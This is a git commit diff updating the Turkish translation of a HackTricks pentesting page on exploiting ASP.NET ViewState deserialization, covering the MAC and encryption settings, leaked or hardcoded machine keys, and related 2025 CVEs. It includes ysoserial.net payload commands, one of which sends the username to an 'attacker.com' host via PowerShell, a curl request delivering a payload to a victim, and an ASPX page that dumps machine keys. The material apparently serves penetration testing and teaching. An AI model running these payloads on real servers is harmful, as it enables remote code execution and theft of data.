Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-20 09:11:54 +00:00
parent a88aed5ff8
commit 003463a97a

View File

@ -2,15 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## What is ViewState
**ViewState**, ASP.NET'te web sayfaları arasında sayfa ve kontrol verilerini korumak için varsayılan mekanizma olarak hizmet eder. Bir sayfanın HTML'si oluşturulurken, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizelere serileştirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.
ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:
ViewState bilgisi aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:
- **Base64**:
- Bu format, hem `EnableViewStateMac` hem de `ViewStateEncryptionMode` öznitelikleri false olarak ayarlandığında kullanılır.
- **Base64 + MAC (Mesaj Doğrulama Kodu) Etkin**:
- **Base64 + MAC (Mesaj Kimlik Doğrulama Kodu) Etkin**:
- MAC'in etkinleştirilmesi, `EnableViewStateMac` özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar.
- **Base64 + Şifreli**:
- Şifreleme, `ViewStateEncryptionMode` özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.
@ -26,20 +28,20 @@ Görüntü, .NET framework sürümüne dayalı olarak ASP.NET'teki ViewState iç
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
ViewStateMAC'i tamamen devre dışı bırakmak için `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlamak da mümkündür:
ViewStateMAC'i tamamen devre dışı bırakmak da mümkündür; `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlayarak:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState Niteliklerini Belirleme**
ViewState'in MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalamayı deneyebilirsiniz. Eğer parametreyi korumak için Mac kullanılmıyorsa, bunu [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) kullanarak istismar edebilirsiniz.
ViewState'in MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalamayı deneyebilirsiniz. Eğer parametreyi korumak için MAC kullanılmıyorsa, bunu [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) kullanarak istismar edebilirsiniz.
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 Test case 1 gibi ama ViewState çerezi sunucu tarafından gönderilmiyor
Geliştiriciler, **ViewState**'in bir HTTP İsteği'nin parçası olmasını **kaldırabilir** (kullanıcı bu çerezi almayacaktır).\
Eğer **ViewState** **mevcut değilse**, uygulamalarının **ViewState deserialization** ile ortaya çıkabilecek potansiyel zafiyetlerden **güvenli** olduğunu varsayabiliriz.\
Eğer **ViewState** **mevcut değilse**, uygulamalarının **ViewState deserialization** ile ortaya çıkabilecek potansiyel zafiyetlerden **güvenli** olduğu varsayılabilir.\
Ancak durum böyle değil. Eğer isteğin gövdesine **ViewState parametresi** ekler ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükü gönderirsek, **Case 1**'de gösterildiği gibi **kod yürütme** elde edebileceğiz.
### Test Case: 2 .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -48,7 +50,7 @@ Belirli bir **sayfa** için **ViewState MAC**'i **etkinleştirmek** amacıyla be
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Aynı zamanda **web.config** dosyasında aşağıda gösterildiği gibi ayarlayarak **genel** uygulama için de bunu yapabiliriz:
Aşağıda gösterildiği gibi **web.config** dosyasında ayarlayarak **genel** uygulama için de bunu yapabiliriz:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
@ -68,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için "python blacklist3r" aracı bulunmaktadır, bu da onu kullanmanın en hızlı yoludur.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için, en hızlı kullanım yolu olan "python blacklist3r" aracı mevcuttur.
Viewstate ve generator doğrudan sağlanabilir:
```
@ -110,15 +112,15 @@ Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu duru
**Bu durumda** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modülü geliştirilme aşamasındadır...**
**.NET 4.5'ten önce**, ASP.NET **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini kullanıcılarından **kabul edebilir**; **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile. ASP.NET **yalnızca** istekteki **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
**.NET 4.5'ten önce**, ASP.NET **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini kullanıcılar tarafından **kabul edebilir**; **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile. ASP.NET **yalnızca** istekte **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını** kontrol eder. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
Bu nedenle, saldırganlar başka bir zafiyet aracılığıyla Makine Anahtarını elde etmenin bir yolunu bulursa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.
- ViewState serileştirme açığını istismar etmek için istekteki `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.
- ViewState serileştirme açığını istismar etmek için istekte `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.
### Test Case: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, her iki özellik de false dışında
Aşağıdaki parametreyi web.config dosyasının içine belirterek ASP.NET çerçevesinin kullanımını zorlayabiliriz.
ASP.NET çerçevesinin kullanımını zorlamak için aşağıdaki parametreyi web.config dosyasına aşağıda gösterildiği gibi belirtebiliriz.
```xml
<httpRuntime targetFramework="4.5" />
```
@ -126,7 +128,7 @@ Alternatif olarak, bu `web.config` dosyasının `machineKey` parametresi içine
```bash
compatibilityMode="Framework45"
```
Önceki gibi **değer şifrelenmiştir.** Ardından, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.**
Öncekilerde olduğu gibi **değer şifrelenmiştir.** Ardından, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.**
Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) kullanmayı deneyebilirsiniz:
```
@ -166,7 +168,7 @@ Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız ger
Tüm test senaryolarında, eğer ViewState YSoSerial.Net yükü **başarıyla** çalışıyorsa, sunucu “**500 Internal server error**” yanıtı verir ve yanıt içeriği “**Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir**” şeklindedir ve OOB isteğini alırız.
[Buradan daha fazla bilgiye bakın](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
Daha fazla bilgi için [buraya bakın](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### Yansıma Yoluyla ASP.NET Makine Anahtarlarını Dökme (SharPyShell/SharePoint ToolShell)
@ -186,7 +188,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
}
</script>
```
Sayfa talep etmek **ValidationKey**, **DecryptionKey**, şifreleme algoritmasını ve ASP.NET uyumluluk modunu yazdırır. Bu değerler artık geçerli, imzalı bir `__VIEWSTATE` aracı oluşturmak için doğrudan **ysoserial.net**'e verilebilir:
Sayfa talep etmek, **ValidationKey**, **DecryptionKey**, şifreleme algoritması ve ASP.NET uyumluluk modunu yazdırır. Bu değerler artık geçerli, imzalı bir `__VIEWSTATE` gadget'ı oluşturmak için doğrudan **ysoserial.net**'e verilebilir:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
@ -196,24 +198,22 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Bu **anahtar dışa aktarma primi**, 2025'te yerel SharePoint sunucularına karşı kitlesel olarak istismar edildi ("ToolShell" CVE-2025-53770/53771), ancak bir saldırganın sunucu tarafı kodu çalıştırabileceği herhangi bir ASP.NET uygulamasına uygulanabilir.
Bu **anahtar sızdırma primi**, 2025'te yerel SharePoint sunucularına karşı kitlesel olarak istismar edildi ("ToolShell" CVE-2025-53770/53771), ancak bir saldırganın sunucu tarafı kodu çalıştırabileceği herhangi bir ASP.NET uygulamasına uygulanabilir.
## 2024-2025 Gerçek Dünya İstismar Senaryoları ve Sabit Kodlu Makine Anahtarları
### Microsoft “kamusal olarak açıklanan makine anahtarları” dalgası (Aralık 2024 Şubat 2025)
Microsoft Tehdit İstihbaratı, *machineKey*'in daha önce kamusal kaynaklarda (GitHub gists, blog yazıları, yapıştırma siteleri) sızdırıldığı ASP.NET sitelerinin kitlesel istismarını bildirdi. Düşmanlar bu anahtarları sıraladı ve WAF uzunluk sınırlarını aşmak için daha yeni `ysoserial.net` 1.41 `--minify` ve `--islegacy` bayrakları ile geçerli `__VIEWSTATE` gadget'ları üretti:
Microsoft Tehdit İstihbaratı, *machineKey*'in daha önce kamu kaynaklarında (GitHub gists, blog yazıları, yapıştırma siteleri) sızdırıldığı ASP.NET sitelerinin kitlesel istismarını bildirdi. Düşmanlar bu anahtarları sıraladı ve WAF uzunluk sınırlarını aşmak için daha yeni `ysoserial.net` 1.41 `--minify` ve `--islegacy` bayrakları ile geçerli `__VIEWSTATE` aletleri üretti:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Statik anahtarları döndürmek veya Web .config'de *AutoGenerate* anahtarlarına geçmek (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) bu saldırı türlerini azaltır. {{#ref}}
{{#endref}}
Statik anahtarları döndürmek veya Web .config'de *AutoGenerate* anahtarlarına geçmek (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) bu saldırı sınıfını azaltır.
### CVE-2025-30406 Gladinet CentreStack / Triofox sabit kodlu anahtarlar
Kudelski Security, birden fazla CentreStack / Triofox sürümünün aynı `machineKey` değerleriyle gönderildiğini ve bu durumun ViewState sahtekarlığı yoluyla kimlik doğrulaması yapılmamış uzaktan kod yürütmeye olanak tanıdığını ortaya çıkardı (CVE-2025-30406).
Kudelski Security, birden fazla CentreStack / Triofox sürümünün aynı `machineKey` değerleriyle gönderildiğini ve bu durumun ViewState sahteciliği yoluyla kimlik doğrulaması yapılmamış uzaktan kod yürütmeye olanak tanıdığını ortaya çıkardı (CVE-2025-30406).
Tek satırlık istismar:
```bash